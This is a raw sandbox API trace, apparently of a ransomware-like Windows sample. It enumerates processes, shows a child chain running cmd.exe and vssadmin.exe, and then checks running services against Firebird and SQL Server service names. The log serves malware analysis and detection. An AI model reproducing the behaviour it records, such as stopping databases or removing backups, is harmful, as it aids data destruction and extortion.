[0063.691] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0063.692] lstrlenW (lpString="lsm.exe") returned 7 [0063.692] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.692] lstrlenW (lpString="svchost.exe") returned 11 [0063.692] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.693] lstrlenW (lpString="svchost.exe") returned 11 [0063.693] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.693] lstrlenW (lpString="svchost.exe") returned 11 [0063.693] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.693] lstrlenW (lpString="svchost.exe") returned 11 [0063.694] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.694] lstrlenW (lpString="svchost.exe") returned 11 [0063.694] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.694] lstrlenW (lpString="audiodg.exe") returned 11 [0063.695] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.695] lstrlenW (lpString="svchost.exe") returned 11 [0063.695] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.695] lstrlenW (lpString="svchost.exe") returned 11 [0063.696] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0063.696] lstrlenW (lpString="dwm.exe") returned 7 [0063.696] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0063.697] lstrlenW (lpString="explorer.exe") returned 12 [0063.697] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0063.697] lstrlenW (lpString="spoolsv.exe") returned 11 [0063.697] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.698] lstrlenW (lpString="taskhost.exe") returned 12 [0063.698] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.698] lstrlenW (lpString="svchost.exe") returned 11 [0063.698] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0063.699] lstrlenW (lpString="taskeng.exe") returned 11 [0063.699] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.699] lstrlenW (lpString="taskhost.exe") returned 12 [0063.699] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0063.700] lstrlenW (lpString="br_maintaining.exe") returned 18 [0063.700] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0063.700] lstrlenW (lpString="kitsenormous.exe") returned 16 [0063.700] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0063.700] lstrlenW (lpString="intermediate-components.exe") returned 27 [0063.701] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0063.701] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0063.701] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0063.701] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0063.701] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0063.702] lstrlenW (lpString="stupid.exe") returned 10 [0063.702] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0063.702] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0063.702] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0063.703] lstrlenW (lpString="addition.exe") returned 12 [0063.703] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0063.703] lstrlenW (lpString="kept retirement.exe") returned 19 [0063.703] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0063.704] lstrlenW (lpString="lmmold.exe") returned 10 [0063.704] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0063.704] lstrlenW (lpString="soma weighted.exe") returned 17 [0063.704] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0063.705] lstrlenW (lpString="cartridge donation.exe") returned 22 [0063.705] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0063.705] lstrlenW (lpString="anti.exe") returned 8 [0063.705] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0063.706] lstrlenW (lpString="cashiersshot.exe") returned 16 [0063.706] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0063.706] lstrlenW (lpString="poundfi.exe") returned 11 [0063.706] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0063.707] lstrlenW (lpString="conditions_hired.exe") returned 20 [0063.707] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0063.773] lstrlenW (lpString="mercedes.exe") returned 12 [0063.774] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0063.774] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0063.774] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0063.775] lstrlenW (lpString="training_wiring.exe") returned 19 [0063.775] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0063.775] lstrlenW (lpString="democratic.exe") returned 14 [0063.775] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0063.776] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0063.776] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0063.776] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0063.776] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0063.777] lstrlenW (lpString="documented.exe") returned 14 [0063.777] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.777] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.777] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0063.778] lstrlenW (lpString="n.exe") returned 5 [0063.778] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.778] lstrlenW (lpString="cmd.exe") returned 7 [0063.778] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.779] lstrlenW (lpString="conhost.exe") returned 11 [0063.779] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.779] lstrlenW (lpString="vssadmin.exe") returned 12 [0063.779] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0063.780] lstrlenW (lpString="VSSVC.exe") returned 9 [0063.780] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.781] lstrlenW (lpString="svchost.exe") returned 11 [0063.782] Process32NextW (in: hSnapshot=0x214, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0063.782] CloseHandle (hObject=0x214) returned 1 [0063.782] Sleep (dwMilliseconds=0x1f4) [0064.334] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fac0 [0064.340] EnumServicesStatusExW (in: hSCManager=0x73fac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0064.343] GetLastError () returned 0xea [0064.349] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0064.349] EnumServicesStatusExW (in: hSCManager=0x73fac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0064.375] CloseServiceHandle (hSCObject=0x73fac0) returned 1 [0064.375] lstrlenW (lpString="Appinfo") returned 7 [0064.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0064.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0064.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0064.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0064.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0064.375] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0064.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.375] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0064.375] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0064.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0064.375] lstrlenW (lpString="AudioSrv") returned 8 [0064.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0064.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0064.376] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0064.376] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0064.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0064.376] lstrlenW (lpString="BFE") returned 3 [0064.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0064.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0064.376] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0064.376] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0064.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0064.376] lstrlenW (lpString="CryptSvc") returned 8 [0064.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0064.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0064.376] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0064.376] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0064.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0064.376] lstrlenW (lpString="CscService") returned 10 [0064.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0064.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0064.376] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0064.376] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0064.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0064.376] lstrlenW (lpString="DcomLaunch") returned 10 [0064.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.376] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0064.376] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0064.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0064.376] lstrlenW (lpString="Dhcp") returned 4 [0064.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0064.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0064.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0064.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0064.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0064.376] lstrlenW (lpString="Dnscache") returned 8 [0064.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0064.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0064.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0064.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0064.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0064.377] lstrlenW (lpString="DPS") returned 3 [0064.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0064.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0064.377] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0064.377] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0064.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0064.377] lstrlenW (lpString="eventlog") returned 8 [0064.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0064.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0064.377] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0064.377] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0064.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0064.377] lstrlenW (lpString="EventSystem") returned 11 [0064.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0064.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0064.377] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0064.377] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0064.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0064.377] lstrlenW (lpString="gpsvc") returned 5 [0064.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0064.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0064.377] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0064.377] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0064.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0064.377] lstrlenW (lpString="iphlpsvc") returned 8 [0064.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.377] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0064.377] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0064.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0064.377] lstrlenW (lpString="LanmanServer") returned 12 [0064.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0064.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0064.378] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0064.378] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0064.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0064.378] lstrlenW (lpString="LanmanWorkstation") returned 17 [0064.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.378] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0064.378] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0064.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0064.378] lstrlenW (lpString="lmhosts") returned 7 [0064.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0064.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0064.378] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0064.378] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0064.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 